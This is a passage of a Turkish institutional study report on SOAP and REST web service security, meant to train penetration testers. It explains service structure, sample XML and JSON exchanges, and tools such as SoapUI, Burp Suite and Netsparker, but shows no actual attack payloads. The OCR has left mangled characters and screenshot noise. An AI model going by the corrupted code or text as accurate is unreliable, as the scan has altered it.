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KURUM BASKANLIGINA

konulu TUBITAK Uzmanlik Calisma Raporu Degerlendirmesi ve S6zlii Savunma sonucu
asagida belirtilmigtir.

GOREVDE YUKSELME KOMISYONU

ADI VE SOYADI GOREVI
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KOMISYON BASKANI
UYE
UYE
UYE
UYE
Bu ¢alisma, komisyon tarafindan ..../.... /...... tarthinde.................... calisma raporu olarak

kabul edilmistir.
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OZET

SOAP VE REST MIMARISINDEKI WEB SERVISLERDE / WEB API’LERDE TEMEL
GUVENLIK ACIKLIKLARI NELERDIR, ACIKLIKLAR NASIL iSTISMAR
EDILEBILIR VE ACIKLIKLAR NASIL KAPATILABILIR?

Hasan Fatih SIMSEK
Subat 2023

Web uygulamalar diinyasinda siklikla modiil olarak kullanilan, ayrica platform bagimsizlig
0zelligi sayesinde birgok yazilim tiiriiniin kullanabildigi web servisler, diger bir deyisle web api’ler
diinyada ciddiye alinmas1 gereken derecede kullanim artis1 sergilemektedir. Bu nedenle siber
giivenlik diinyasinin kapsaminda dikkate deger bir kritikliktedirler. Bu calisma raporu tiim
platformlardaki yazilimlarin internet yoluyla kullandig1 web servis / web api’ lerden piyasada en
yaygin kullanilan SOAP ve REST’i mercek altina alacaktir. SOAP ve REST web servislerde / web
api’lerde temel olarak kabul goren saldiri vektdrlerinin neler oldugu, bu saldirilarin nasil
uygulanabildigi, ve bu saldirilarin nasil web servis / web api ug¢ noktalarinda durdurulabilecegi
aragtirtlacak ve raporlanacaktir. Bu arastirma boyunca teori ve pratik birarada olacaktir. Bu rapor
kurumumuzun ihtiyacina binaen web servislerine doniik sizma test¢i yetistirmede ve eleman
niteligini arttirmada kapsamli bir referans rehber belgesi olmay1 hedeflemektedir.

Anahtar Kelimeler: SOAP, REST, WEB SERVIS, WEB API, OWASP TOP 10, DVWS,
OWASP Mutillidae
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ABSTRACT

WHAT ARE THE FUNDAMENTAL VULNERABILITIES IN WEB SERVICES / WEB
APIS WHICH USE SOAP AND REST ARCHITECTURE, HOW TO BE ABLE TO
EXPLOIT THEM, AND HOW TO BE ABLE TO MITIGATE THEM?

(Expertise / Specialist Study Report )

Hasan Fatih SIMSEK
Subat 2023

Web services (a.k.a. web apis) which are often used as a module in the world of web applications
and also could be used by a lot of software types (such as thick clients) thanks to the platform-
independent feature, show an increase of usage that should be taken seriously in the world.
Therefore they are in a noticeable criticality in cyber security world’s scope. This study report will
scrutinize the most common two web services / web apis, SOAP and REST, among web services /
web apis to which software in all platforms can communicate over Internet. What kind of attack
vectors considered essential in these web services / web apis, how these attack vectors are applied
to them, and how to stop these attacks from their’s endpoints will be researched and reported. In
this research process theory and practice will be together. Based on the needs of our institution, this
report is aimed to be a comprehensive reference guide document for training penetration testers for
web services / web apis and increasing the quality of staff.

Keywords: SOAP, REST, WEB SER ViS, WEB API, OWASP TOP 10, DVWS, OWASP
Mutillidae
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TESEKKURLER

Calisma konum olarak bu ¢alisma konusunu belirledigi i¢in ve bu alanda gelismeme imkan
verdigi i¢in birim ydneticimiz Emre Ozkdk’e tesekkiirler.
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Kisaltmalar

DVWS
OWASP
SOAP
REST

SIMGE VE KISALTMALAR

Aciklama

Damn Vulnerable Web Services

Open Web Application Security Project
Simple Object Access Protocol
Representational State Transfer
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1. AMAC VE HEDEFLER

Kurumsal olarak web servis / web api sizma testlerinde konu hakkinda arkaplana tam net
sahip olunmamasi ve teknik olarak projelerde zayif kaliniyor olmasi nedeniyle bu alanda
giiclenme gereksinimi dogmustur. Web servis / web api ‘lerin temel giivenlik agikliklarinin
neler oldugu, nasil bu agikliklarin istismar edilebildigi, ve nasil bu agikliklarin 6nleminin
alinabilecegine dair bir ¢alisma konusu belirlenerek kurumsal olarak bu alanda gii¢lenmek,
ayrica aramiza Yyeni katilacak is arkadaslarinin da bu rehber dokiiman ile ayni seviyeye
gelmesi ve projelere saglikli bir sekilde dahil edilebilmesi hedeflenmektedir. Web servis /
api’ler i¢in Tirkce igerikli ¢ok az dokiimanin olusu, “kapsamli” bir rehber dokiimanin
olmayist bu anlamda bu ¢aligma dokiimanini ayrica gerekli kilmistir.

2. KAPSAM

Bu ¢aligma raporunda piyasada en yaygin kullanima sahip SOAP ve REST web servisler /
web api’ler odak noktasina alinacaktir. SOAP ve REST mimarileriyle olusturulmus web
servislerin / web api’lerin temel giivenlik agikliklarini inceleme, suistimal etme yollarini
ogrenme, ve agikliklarin kapatilisini 6grenme {izerine teori ve pratik bir arada bir ¢calisma
sergilenecektir.

3. PROBLEMIN TANIMI
Web servis’ler / web api’ler web uygulama midirlar, nasil test edilirler ve temel giivenlik
acikliklar1 nelerdir problemlerine cevap aranacaktir.

4 LITERATUR ARASTIRMASI

Literatiirde yer alan benzer igerikli ¢caligmalar incelenerek ¢alismanin hangi yilda yapildigy,
yazar bilgisi, temel arastirma sorusu veya hipotezi, ¢dziim yontemi ve elde ettigi sonuglari
iceren detayli bir agiklama yapilmalidir. Yapilan ¢alismanin niteligi agisindan literatiiriin
detaylandirilmasi 6nem arz etmektedir.

4.1 Web Servis / Web API Giris

Sizma test¢i bakis agisiyla bu baslik altinda web servis / web api’ye bir bakis sunulacaktir. Bu
raporda web servis ve web api ifadeleri aymi seyi ifade ettiklerinden birbirlerinin yerine
kullanilacaktir.

4.1.1 Web Servis/ Web API Nedir?

Web servisler / web api’ler adinda gecen web kelimesinden anlagilabilecegi iizere web uygulama
gibidirler. Web uygulamalar gibi web sunucularda barinirlar. Web uygulamalarda oldugu gibi web
servis / web api’ lerde de bir istemci web sunucuya http(s) talebi yapar ve web sunucudan http(s)
yanit1 alir.
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Web Servis / Web API Haberlesmesi

Web servis / web api’lerin web uygulamalardan farki web uygulamalarda oldugu gibi bir arayiize
sahip olmayislaridir. Bir web tarayicidan web uygulama sunucusuna baglanildiginda web
uygulamalarda bir arayiiz gelir ve o arayliz iizerinden islemler yiiriitiiliir. Fakat bir web tarayicidan
web servislere / web api’lere baglanildiginda bir arayiiz (¢ogunlukla) gelmez.

Web servis’ler / web api’ler genellikle web uygulamalarin yanit olarak dondiigii html ¢ikt1 gibi bir
cikti yanit olarak donmezler. Bunun yerine xml ya da json formatinda bir ¢ikti yanit olarak
donerler. HTML ¢ikt1 web tarayicisi igindir. XML veya JSON ¢ikt1 ise web tarayicist dahil olmak
lizere envai ¢esit platformdaki istemciler icindir. Ornegin web tarayici yazilimlari, iOS tabanli
yazilimlar, Android tabanli yazilimlar, windows tabanli yazilimlar, macOS tabanl yazilimlar,...

gibi.

Web servisler / web api’ler bazi rollere sahiptirler. Web servisleri / web api’leri anlamak igin bu
rollerden ikisine gbz atmamiz yerinde olacaktir:

- service requestor (servis talep edici)
- service provider (servis saglayici)

Bu rollerden service requestor web servisi / web api’yi tiiketendir / kullanandir. Service provider
ise web servisi saglayan ve internetten erisilir kilandir. Web sunucuda yer alir. Service
requestor’lar service provider’a agda baglanti agarlar ve XML / JSON talepleri yollarlar. Yanit
olarak da XML / JSON yanitlar alirlar.

Ornegin web uygulamalarda web uygulamay tiiketen / kullanan istemci yazilim web tarayicidir.
Web servislerde / web api’lerde ise web servisi / web api’yi tiiketen / kullanan istemci yazilim
herhangi bir platformda yer alabilir. Web tabanli bir yazilim (Chrome/Firefox/Opera/Edge/... web
tarayicisi), windows tabanli bir yazilim, unix tabanli bir yazilim,...v.b. farkli tiirden platformlara
0zgii yazilimlar olabilir.

Web uygulamalarda haberlesme url encode ile (url kodlama ile) gonderilen talebe karsilik html
yamt seklindedir. Ornegin web uygulamalar ile web sunucular arasinda génderilen ve alinan http
talep ve yanit paketleri su sekildedir,

Web Tarayicidan Web Sunucuya Giden HTTP Talebi:
...http basliklar...
...http bagliklar...

Content-Type: application/x-www-form-urlencoded
...http bagliklar...
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...http bagliklar...

=1234322123& =9876521

veya su sekildedir,

Web Tarayicidan Web Sunucuya Giden HTTP Talebi:

...http bagliklar...
...http basliklar...
Content-Type:multipart/form-data;boundary=----WebKitFormBoundarys89aF Vi
...http bagliklar...
...http basliklar...

------ WebKitFormBoundarys89aF Vi
Content-Disposition: form-data; name=" "

1234322123
—————— WebKitFormBoundarys89aFVi
Content-Disposition: form-data; name="

9876521

veya su sekildedir;

Web Tarayicidan Web Sunucuya Giden HTTP Talebi:

...http basliklar...
...http bagliklar...
Content-Type: text/plain
...http basliklar...
...http basliklar...

=1234322123
=9876521

ve bu taleplere karsilik gelen yanit paketi de

Web Sunucudan Gelen HTTP Yaniti:

...http bagliklar...
...http basliklar...
Content-Type: text/html;
...http bagliklar...
...http basliklar...

<html>
<head>
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</head>
<body>

Kullanici Detay Bilgiler: <br />
Anne Kizlik Soyadi: .... <br />
Baba Adz: ... <br />

Dogdugu Yer: ... <br />
Maasi: ... <br />

</body>
</html>

seklindedir.
Web servislerde / web api’lerde ise ayni durum su sekildedir,
Bir Platformdaki Istemciden Web Sunucuya Giden HTTP Talebi:

...http basliklar...
...http basliklar...
Content-Type: application/xml
...http basliklar...
...http basliklar...

<?xml version="1.0" encoding="UTF-8">
<kullaniciBilgileri>

< >1234322123</ >

< >9876521</ >
</kullaniciBilgileri>

Web Sunucudan Gelen HTTP Yaniti:

...http basliklar...
...http basliklar...
Content-Type: application/xml
...http basliklar...
...http bagliklar...

<?xml version="1.0" encoding="UTF-8">

<kullaniciDetay>
<AnneKizlikSoyadi>...</AnneKizlikSoyadi>
<BabaAdi>...</BabaAdi>
<DogduguYer>...</DogduguYer>
<MaasMiktari>...</MaasMiktari>
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</kullaniciDetay>

Veya web servis / web api json kullaniyor ise ayni durum igin istek ve yanit su sekildedir:
Bir Platformdaki Istemciden Web Sunucuya Giden HTTP Talebi:

...http bagliklar...
...http basliklar...
Content-Type: application/json
...http basliklar...
...http basliklar...

{
"kullaniciBilgileri": {
" " 1234322123,
" " 9876521

¥
¥

Web Sunucudan Gelen HTTP Yaniti:

...http basliklar...
...http basliklar...
Content-Type: application/json
...http basliklar...
...http basliklar...

{
"kullaniciDetay": {

"AnneKizlikSoyadi": "...",
"BabaAdi": "...",
"DogduguYer": "...",
"MaasMiktari": "..."
}
}

Yani web servisler / web api’ler (service provider’lar) istemciler (service requestor’lar) ile
haberlesirken xml veya json dilini kullanirlar. Nadiren de olsa HTML dilini de kullanabilirler.

Web servis / web api’ler web sunucuda barinirlar. Web servis / web api’lerin istemciler ile
haberlestigi dil XML veya JSON’dur.
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<mibet Totorialinfo>
</mGetTotorialinfo>

——l

<mTotoriainfo>
it <NAME>WEsServices T
</name>

</meTotorialinfo>

Ornek Bir Web Servis / Web API Haberlesmesi

Response from server to client
=] B
B Server
Request rom clent e "‘05“"'3
to server e
service

Web Servisler Web Sunucuda Barindirilir

Web servislerde / web api’lerde XML ve JSON’1n kullaniliyor olusu web servislerin / web api’lerin
platform bagimsiz olmalarini saglar. Platform bagimsizdan kasit web servisi / web api’nin web
sunucularda herhangi bir web sunucu yazilimi (6rn; apache, iis, nginx, ...) izerinde yer alabilecegi,
herhangi bir web programlama dili (6rn; php, java, c#,...) ile yazilabilecegi, ve istemcilerin de farkli
platformlarda ve programlama dillerinde (6rn; windows-based, unix-based, web-based, mobile-
based,... platformlarda ve php, java, c#,... dillerinde) olabilecegidir.

[A single web service implemented in Java }

Java Cllem f N NEI' Client

JavaScript Client
running in a browser

C+::cliem

Cesitli Teknolojideki Istemcilerin Web Servisle / Web API’yle Haberlesmesi

Xml ve json veri depolama ve tagima dilleri basit ve evrensel olduklarindan her tiirli farkl
teknolojideki yazilim kendi arasinda bu dili kullanarak karsilikli haberlesebilirler.

Web servisi / web api’yi kullanan / tiikketen uygulamalar herhangi bir programlama diliyle
yazilabilirler. Web servisler de herhangi bir programlama diliyle yazilabilirler. Farkli tiirden
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teknolojilerin haberlesmesine c¢# masalistii uygulamanin java web servisi / web api’si ile konusmasi
veya iOS bir mobil uygulamanin php ile yazilmis bir web servis / web api ile konugsmasi 6rnek
olarak verilebilir, veya ayni tiirden teknolojilerin haberlesmesine web servisin php olmasi ve web
servisi kullanan / tiikketen uygulamanin da web-based bir web tarayicidaki php uygulamasi olmast
ornek olarak verilebilir.

Sonug olarak web servisi / web api herhangi bir teknolojide yazilabilen web programlarina denir.
Web sunucuda barinirlar. Web servisi / web api consumer’1 (tiiketicisi) ise herhangi bir teknolojide
yazilabilen ve uzak web sunucudaki web servisi / web api’si ile (web programi ile) haberlesen
yazilima denir.

4.1.2. Web Servis / Web API Calisma Sekli

Web servis / web api kavramini anlamak adina su sekilde bir basitlestirme yapilabilir. Web servis /
Web API web tarayicida goriinen 6rnegin bos bir php sayfasi olarak diisiiniilebilir. HTML kodu
barindirmayan, GET, POST, PUT, v.b. parametreleri alan, php kodlariyla islemler yapan bir php
sayfasi. Bu sekilde bos goriiniisli php web sayfasinda Ornegin veritabanina veri yazilir, veya
veritabanindan veri ¢ekilir. Cikt1 ise bu html'i olmayan bos php sayfasinda ya yoktur ya da echo ile
json formatta veya xml formatta basilmig bir yanittir. Bu yanit 6rnegin veritabanindan veri gekme
sonucundaki verilerin xml / json formatta listelenmesi gibi.

Ornegin asagida php ile yazilmis bir web servisinin / web api’nin (yani service provider’m) web
sunucudaki bir kod blogu gosterilmektedir.

"Database Error");
print json encode($row);
} else {
$query = "SELECT siteStatus FROM siteStatus WHERE siteURL = 'http://www.braingia.org'";
if ($result = mysqli_query($dbLink, $Squery)) {
$row = $result->fTetch_array(MYSQLI_ASSOC);
if (is_null(Srow)) {
$row = array("siteStatus" => "Error - Site Not Found");

3
} else {
$row = array("siteStatus" => "General Error");
b
print json_encode(Srow);
mysqli_close($dbLink);
} /4 End else condition (for database connection)
P>

Web sunucudaki bu web servisine / web api’ye gore else kosulunda veritabanina sorgu yapiliyor ve
belirtilen sitetURL degerindeki veritabani kaydmin siteStatus veritabani kolon degeri cekiliyor.
Eger gelen deger null’sa veya baglant1 hataliysa $row degeri hata verisiyle dolduruluyor, degilse
$row degeri gelen degerle dolduruluyor. Ardindan $row degeri print_json_encode($row) ile json
formatinda dokiiman olarak yanit paketinin gévdesinde web servisi tiiketen / kullanan uygulamaya,
yani service requestor’a (tiiketiciye) yanit olarak gonderiliyor.
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Service Provider’in Yaniti

Burada gelen yaniti gorebilmek adina istemci olarak web tarayici kullanildi, fakat esasinda bir
service requestor bu yanit1 aldiginda aldig1 yamita gore bir davranis iiretecektir. Ornegin masaiistii
bir yazilim eger service requestor’sa bu yaniti aldiginda yesil bir buton ile “Erisim Var” bilgisi
sunacaktir.

Service requestor’lar aldiklart xml (veya json) yanitlarini parse ederek sonuglar lretirler ve
arayiizlerine buna gore bilgiler yansitirlar. Ornegin service requester’lar login olma istegi
gonderebilirler. Bunu kullanict adi ve parola bilgisini talep paketinin govdesinde xml etiketleri
arasinda gondererek yapabilirler. Gelecek yanit paketinin gévdesinde xml etiketleri arasinda
oturum gecerliyse sessionlD, degilse hata bilgisi gelerek de araylize oturum agildi veya agilamadi
gorseli basabilirler.

Bahsedilen bu 6rnek icin service requestor’in gonderdigi gecerli hesap bilgilerindeki login olma
paketi ve aldig1 yanit 6rnegi asagida verilmistir:

Bir Platformdaki Istemciden Web Sunucuya Giden HTTP Talebi #1:

...http bagliklar...
...http basliklar...
Content-Type: application/xml
...http bagliklar...
...http basliklar...

<soapenv:Header/>
<soapenv:Body>

<sam:login>
<username>Login</username> /I Gegerli Oturum Bilgisi
<password>Login123</password> /I Gegerli Oturum Bilgisi
</sam:login>

</soapenv:Body>
</soapenv:Envelope>
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Web Sunucudan Gelen HTTP Yaniti:

...http basliklar...
...http bagliklar...
Content-Type: application/xml
...http basliklar...
...http bagliklar...

<soapenv:Header/>

<soapenv:Body>

<sam:loginResponse>
<sessionid>2339195918796172</sessionid>
</sam:loginResponse>

</soapenv:Body>

ve service requestor’in gecersiz hesap bilgilerindeki login olma paketi ve aldig1 yanit 6rnegi:
Bir Platformdaki Istemciden Web Sunucuya Giden HTTP Talebi #2:

...http basliklar...
...http basliklar...
Content-Type: application/xml
...http basliklar...
...http basliklar...

<soapenv:Header/>
<soapenv:Body>

<sam:login>
<username>Login</username> /I Gegersiz Oturum Bilgisi
<password>deneme</password> /I Gegersiz Oturum Bilgisi
</sam:login>

</soapenv:Body>

Web Sunucudan Gelen HTTP Yaniti:

...http basliklar...
...http basliklar...
Content-Type: application/xml
...http basliklar...
...http bagliklar...

<soapenv:Body>

<soapenv:Fault>

<faultcode>Client</faultcode>

<faultstring>Invalid Login</faultstring>

<detail>

<sam:loginFault>The login credentials are invalid</sam:loginFault>
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</detail>
</soapenv:Fault>
</soapenv:Body>

Bu sekilde service requester’dan (yani web servisi tiikketen / kullanan uygulamadan) girilen bilgiler
service provider’dan (yani web servis sunucusundan) gelen yanita gore degerlendirilir ve service
requester ekraninda oturum acild1 veya agilmadi arayiizii getirilebilir. Bunun gibi web servislerde /
web api’lerde web uygulamalarda yapilan her islem yapilabilir.

Bilgi:

Web servisler / web api’ler web uygulamalardaki islevleri xml (veya json) etiketleri
iizerinden gergeklesen aligverigle yaparlar. Dolayisiyla web uygulamalardaki kaba kuvvet,
sql enjeksiyonu, komut calistirma,... gibi saldirilar web servislerde de / web api’lerde de
yapilabilmektedir ve web uygulamalarda ¢ikan gilivenlik acikliklari web servislerde de ayni
sekilde c¢ikabilir.

4.1.3. Web Servis ve Web API Arasindaki Fark

Web servis ve web api birbirlerinin yerlerine kullanilabilen ifadelerdir. Ayni seyi ifade ederler.
Ikisi de web sunucuda barman ve network iizerinden cesitli teknolojilerdeki istemcilerle haberlesen
web programi anlamina gelmektedir.

Web APT’lere daha yakindan bakilacak olursa Web API, API genel kategorisinin bir alt tiirtidiir.
APT’lerde eger network baglantisi ile haberlesme varsa bu API’lere web api ad1 verilir.

A
Web API Semboli

API Sembolii

4.1.4  Web Servis Tiirleri
Web servisleri piyasadaki yayginligina gore siniflandiracak olursak iki tiirdiir. Bunlar;
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- SOAP Web Servisi
- REST Web Servisi

seklindedir. Bu iki web servisi piyasadaki en baskin iki tiirdiir. SOAP web servisi bugiin i¢in eski
bir ¢oziim olarak goriilebilir. Ciinkii REST web servisi gittikce popiileritesi artan bir ¢6ziim
olmustur.

SOAP web servisi giliclii bir sekilde function-driven’dir (fonksiyon yonelimlidir). REST web
servisi ise oldukca data-driven’dir (veri yonelimlidir). SOAP eski olusu dolayisiyla biraz
karmagiktir. REST ise oldukga kolay kullanilabilir / tiiketilebilir ve anlasilabilir bir yapiya sahiptir.

SOAP web servisler http protokolii yaninda smtp, ftp, tcp/ip gibi protokoller kullanabilirler. REST
web servisler ise sadece http/https protokollerini kullanirlar.

REST web servisler ifadesi yaninda Restful web servisler ifadesi de gecebilmektedir. REST web
servisi prensiplerini kullanan web servislere RESTful web servisi denmektedir. REST isimdir ve
RESTful sifattir. REST yerine RESTful denilince s6z konusu konusulan web servisin REST
yaklagiminda oldugu (REST prensiplerini kullandig) ifade edilmis olur.

415 Web Servislerin Arayiizii Olmamasi

Web servisler kendi baslarina bir arayiize sahip degildirler. Ornegin web uygulamalarda gelen yanit
paketlerinde “spidering / crawling” yapilarak arayiiz / kapsam belirlenebilir. Ancak web servislerde
bu miimkiin degildir. Ciinkii web servisler yanit olarak xml / json veri donerler. Web
uygulamalardaki gibi gezinti yapilabilecek ve dallanilabilecek baglanti unsurlari igermezler. Bu
calisma sekli otomatize web zafiyet tarayici yazilimlarin web servislerde “crawl” ve “attack”
yapmasini oldukca zor kilar. Yani saldir1 yapilacak kapsam elde edilemez. Ancak saldir1 testleri
(veya fonksiyonel caligirlik testleri) igin web servisler araylizlerini / kapsamlarini gosteren
mekanizmalara sahiptirler. Bunlar su sekildedir:

SOAP igin:
- WSDL (Web Service Definition Language)
REST igin:

- WADL (Web Application Description Language)
- OpenAPI (resmi adiyla Swagger)

- RAML

- 1/0 Docs (Input / Output Document)

SOAP web servislerde WSDL dosyasi arayiizdiir. SOAP web servisin WSDL dosyasi ile arayiizii
goriiniir. Hangi url’ler, metotlar, parametreler kullaniyor, hangi http talep metodu hangi URL
iizerinde kullaniliyor, hangi girdi dokiimanlar1 gonderiliyor, hangi “status code” (durum kodu)
yanit olarak bekleniyor, ... gibi bilgiler dgrenilir. Bu sekilde kapsam elde edilir ve saldir1 testleri
veya fonksiyonel cgalisirlik testleri uygulanabilir. SOAP web servisler WSDL’e bagimlidirlar ve
SOAP web servisler servisi kesfetmek adina bagka bir mekanizmaya sahip degildirler. Yani
SOAP’ta WSDL tek arayiiz ¢6ziimidiir.
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REST web servislerde arayiiz / kapsam sunan WSDL gibi tutarli bir standart yoktur. Birgok REST
web servisi kendi dokiimantasyonuna sahiptir. Bu dokiimantasyonlar gelistiriciler i¢in kullanighdir,
fakat otomatize web zafiyet tarayicilan igin kullanigsizdir. REST web servislerin arayiizlerini /
kapsamlarini standardize bir sekilde sunmak icin WADL, OpenAPI (Swagger), RAML ve 1/0 Docs
projeleri gelistirilmistir. Ornegin WADL dosyas1 oldugunda bu tanimlama dosyasi parse edilerek /
okunarak herbir mevcut kaynak i¢cin URL, metot, parametre ve hangi url’de hangi http talep
metodu kullaniliyor gibi bilgiler alinir ve kapsam bu sekilde belirli olur.

Ornegin OpenAPI (Swagger) rest web servisleri dokiimante etmek icin bir diger tanimlama
dosyasidir ve rest web servisleri tanimlamak igin url, metot, parametre formatini belirtir. Bir
uygulama gelistiricisi olarak web servisler framework’ler kullanilarak yazilir, OpenAPI (Swagger)
web servis kodlarini tarar ve dokiimantasyonu belirli bir URL’de olusturur. Bir service requestor
ise bu URL’i kullanarak REST web servisi nasil kullanabilecegini, hangi url’lerin, metotlarin,
parametrelerin, hangi http talep metodunun hangi URL fizerinde kullanildiginin, hangi girdi
dokiimanlarinin gonderildiginin, hangi status code’un yanit olarak beklendiginin, ... v.b. bilgilerini
Ogrenir. Boylece rest web servisler bu sekilde araylizleri / kapsamlari kesfedilebilir olur ve saldir
testleri ve ayrica fonksiyonel galisirlik testleri uygulanabilir.

REST web servislerde tartismali sekilde WADL biiyiik bir kusur olarak goriiliir. WADL’ 1n kusuru
optional (secime bagli) olmasi1 ve bazi gerekli bilgileri sunmamasidir. Bu yetersizligi ¢6zmek i¢in
piyasada baska ¢oziimler var olmustur. Bunlar OpenAPI (Swagger), RAML, I/O Docs gibi.

WSDL dosyalar1 SOAP-based web servisleri test etmenin merkezinde yer alir. Aynmi sekilde REST
icin olan standardize edilmis tanimlama dosyalar1 da REST-based web servisleri test etmenin
merkezinde yer alir.

SOAP’ta WSDL kullanilmasa ve REST’te dokiimantasyon olmasa bir web servisin arayiiziinii
belirleme bu tanimlama ¢6ézlimlerinin olmasina gore oldukga zordur.

Web servislerde her bir url adresine endpoint (u¢ nokta) adi verilir. Yalnizca bu endpoint’lere
ulasan talepler kayda degerdir. Web servislerde arayliz / kapsam bu endpoint listesine ve
endpoint’lerin kabul ettigi parametre listesine denmektedir.

5 YONTEM
5.2 Web Servisler Nasil Test Edilir ( Teorik Gosterim )

Bu bagslik altinda baglica web servis / web api giivenlik testi yapma araglar tanitilacaktir.

5.21 SoapUI Yazilim
SoapUI soap ve rest web servisler igin tasarlanmis bir fonksiyonel ¢aligirlik testi, yiik testi,
giivenlik testi,... yazilimdir.

SoapUI’de Soap ve Rest web servisleri test etme su sekilde gergeklesir:
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You're getting this message since your computer is offline and SoapUI can't access the
Internet. Without an Internet connection, you might experience some issues when performing
Web Service testing.

Q Usually, this is where you would see the SoapUl start page, which includes the latest news
and other relevant information
= Make sure to connect to the Internet to get access to all the services and information from
SmartBear.
174 Thanks!
The SmartBear SoapUl Team

Ust meniide SOAP ve REST butonlar1 vardir. SOAP web servisi test edilecegi zaman SOAP’a
tiklanir ve agilan pencerede WSDL kapsam dosyasi verilir.
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The SmartBear SoapUl Team

N New SOAP Project

o New SOAP Project s,

Creates a WSDLISOAP based Project in this workspace =

Project Name:

Intial WL | (Browse

-

Create Requests:
Create Testsute:
Relative Paths: (7] Stores all file paths in project relatively to project file (requires save)

L] ———>> (] [concel]

(R A ]

REST web servisi test edilecegi zaman REST e tiklanir ve agilan pencerede dogrudan bir rest web
servis url’si veya daha kapsamli bir test icin WADL dosyasi verilir.
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g ‘Sample SOAP Project Core 2
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You're getting this message since your computer is offline and SoapUl can't access the
Internet. Without an Internet connection, you might experience some issues when performing

Web Service testing

B Usually, this is where you would see the SoapUl start page, which includes the latest news
and other relevant information.

Make sure to connect to the Interet to get access to all the services and information from
SmartBear.
B Thanks!

The SmartBear SoapUl Team

New REST Project >

New REST Project P
&

Creates a new REST Project in this workspace
>um 1

(@ [6K] [cancel] [import wadL..]

L]

oo 8N

Ardindan SOAP ve REST web servisin arayiizii / kapsamu sol siitunda listelenecektir ve sol siitunda
listelenecek 6rnek xml taleplerini kurcalayip gondererek alinacak xml yanitlart gézlemlenebilir.

Ayrica daha nitelikli test i¢in SoapUI ayarlarindan proxy ayar girilebilir ve arayiiz / kapsam
yiiklemesi sonrast sol siitunda siralanacak 6rnek xml taleplerini génder dendindiginde Burpsuite ile
paketi alip paketin basliklarinda ve govdesinde kurcalamalar yaparak repeater’da, fuzzing yaparak
intruder’da giivenlik testleri uygulanabilir.
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Sonug olarak SoapUI’da web servis testleri i¢in iki se¢enek vardir. SOAP ve REST. SOAP projesi
olustur dendiginde WSDL dosyas1 istenmektedir. REST projesi olustur dendiginde istege bagl
olarak WADL dosyasi istenmektedir.

WSDL: Web Services Description Language // SOAP'in Definition Dosyas1
WADL: Web Application Definition Language // REST'in Definition Dosyasi

5.2.2 Burpsuite Yazilim
Burpsuite’te “wsdler” isimli eklenti yardimiyla soap web servislere ve url adresi yoluyla rest web
servislere giivenlik testi uygulanabilmektedir.

Soap web servisler i¢in burpsuite wsdler eklentisi burpsuite’e yiiklenerek hedef soap web
servislerin araylizii / kapsami hedef web servis adresindeki wsdl dosyasi ile alinabilir ve olusan
ornek xml talep paketleri iizerinden repeater’da, intruder’da,... detayli giivenlik testleri
uygulanabilir. Burpsuite wsdler eklentisi kullanimi 6ncelikle burpsuite’e yiiklenmesi, sonra hedef
soap web servisteki wsdl dosyasinin yer aldig1 url’e talep yapilmasi ve yakalanan talep paketine sag
tik yapip “Parse WSDL” yapma seklindedir. Bu sekilde Burspuite Wsdler sekmesinde hedef soap
web servisin araylizi / kapsami gelecektir ve 6rnek xml talepleri listelenecektir. Bu 6rnek xml
taleplerin paket basliklari1 ve govdesini kurcalayarak repeater’da ve fuzzing ile intruder’da
giivenlik testleri uygulanabilir.

Bilgi:

Burpsuite wsdler eklentisi sadece wsdl 1.1 spesifikasyonundaki wsdl dosyalar1 destekliyor
ve parse edebiliyor. 1.2 ve 2.0 i¢in heniiz destegi bulunmamakta. Bu nedenle wsdl dosyasi
olsa da siirim desteklememesinden dolay1 wsdl dosyasini parse edemeyebiliriz. Bu nedenle
wsdl dosyasini SoapUI’de yiikleyip 6rnek xml taleplerini SoapUI’de proxy ayariyla burp’e
yonlendirerek bu sorunu asabiliriz ve test uygulayabiliriz. Burpsuite wsdler eklentisi
SoapUI ihtiyacini kaldirmak igin, ve SoapUI olmadan burspuite’te soap web servisleri test
etmek i¢in var olmustur.

Rest web servisler i¢in burpsuite’te rest web url adresi iizerinden giivenlik testi yapilmaktadir.
Bunun i¢in rest web servisin url listesine ihtiya¢ vardir. Rest web serviste bir url i¢in talep paketini
alip paket bagliklar1 ve gdvdesini kurcalayarak repeater’da, fuzzing ile intruder’da giivenlik testleri
uygulanabilir.

Not: Burpsuite “WSDL Wizard” eklentisi hedef soap web servisinde wsdl url kesfi yapmak i¢in
kullanilir.

Burpsuite ile soap ve rest web servis gilivenlik testleri pratik uygulamasi bu dokiimanda uygulama
basligi altinda gosterilmistir.

5.2.3 Netsparker Yazilimi

Netsparker ile soap ve rest web sevisler taranabilmektedir. Ancak netsparker i¢in web servislerin
arayiizii / kapsamu alinabilmelidir. Bu sekilde arayiiz / kapsam (url listesi, parametreler ve hangi
http metodunun hangi url’de kullanildig1 v.b. bilgiler) netsparker’a verilerek url listesi iizerinden
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saldir1 testi baslayabilecektir.

Ornegin soap web servisler Netsparker’da Import Links seceneginden WSDL dosyasini okutturarak
araytiziin / kapsamin dahil edilmesiyle taranabilmektedir.

Start a New Website or Web Service Scan m| X

Target Website or Web Service URL

https://php.testsparker.com/ - la Default -
°0ptinn:
Scan Settings
. Imported Links
}‘ Eael ﬂAdd Edit Delete Clear Q Search | Import From File = Enter Links
Scope
O P Methed | URL A ASP.NET Project File
& Additional Websites
N W Bup
¢& |mported Links
ﬁ Comma Separated Values (C5V)
@ URL Rewrite = !
€ Fiddler
Authentication —
HTTP Archive
iE Form B 10Docs
Basic, NTLM/Kerberos
— Netsparker Session File
= Header
W OWASP ZAP
Client Certificate
Posti
Smart Card @ gsHman
RAML
OAuth2 a
o @ Scan scope rules will be applied te imported lin R
& OpenAPI (formerly Swagger)
{&} Web Application Description Language (WADL)
> Q ‘Web Service Definition Language (WSDL)
W WordPress REST API

Ornegin REST web servisler netsparker’da su ii¢ yolla taranabilir:

1) Arayiiz / Kapsam dosyasi Import Links seceneginden manuel olarak import edilerek,
ii) Dogrudan tararken otomatik web servisi kesfedilerek,
ii1) Ham Http Talep paketini Import Links se¢eneginden manuel olarak import edilerek

i) Arayiiz / Kapsam dosyalar1 (WADL, OpenAPI(Swagger), /O Docs, RAML tanimlama
dosyalar1) Netsparker’in Import Links se¢eneginden eklenerek rest web servis arayiizii / kapsami
belirlenebilir ve saldir testi uygulanabilir.
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Start a New Website or Web Service Scan

Target Website or Web Service URL

https://php testsparker.com/ i Default -
OOptions
Scan Settings 5
Imported Links
f" Eavad 0 Add Edit Delete Clear Q Search | Import From File = Enter Links
Scope
O scop Method  URL A% ASP.NET Project File
% Additional Websites
' B eup
&i |mported Links
ﬁ Comma Separated Values (CSV)
@ URL Rewrite = F
€ Fiddler
Authentication -
HTTP Archive
